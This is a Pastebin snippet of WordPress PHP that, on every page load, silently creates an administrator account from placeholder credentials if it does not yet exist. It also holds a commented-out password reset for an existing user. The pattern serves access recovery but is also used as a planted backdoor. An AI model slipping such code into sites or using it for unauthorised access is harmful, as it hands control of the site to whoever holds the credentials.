Advertisement
Guest User

Untitled

a guest
May 11th, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. <?php
  2.  
  3. add_action('init', function () {
  4. $username = '';
  5. $password = '';
  6. $email = '';
  7.  
  8. // Reset pass if exist
  9. // $id = get_user_by('email', $email)->ID;
  10. // wp_set_password('', $id);
  11.  
  12. if (username_exists($username) == null && email_exists($email) == false) {
  13. $user_id = wp_create_user($username, $password, $email);
  14. $user = get_user_by('id', $user_id);
  15. $user->remove_role('subscriber');
  16. $user->add_role('administrator');
  17. }
  18.  
  19. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement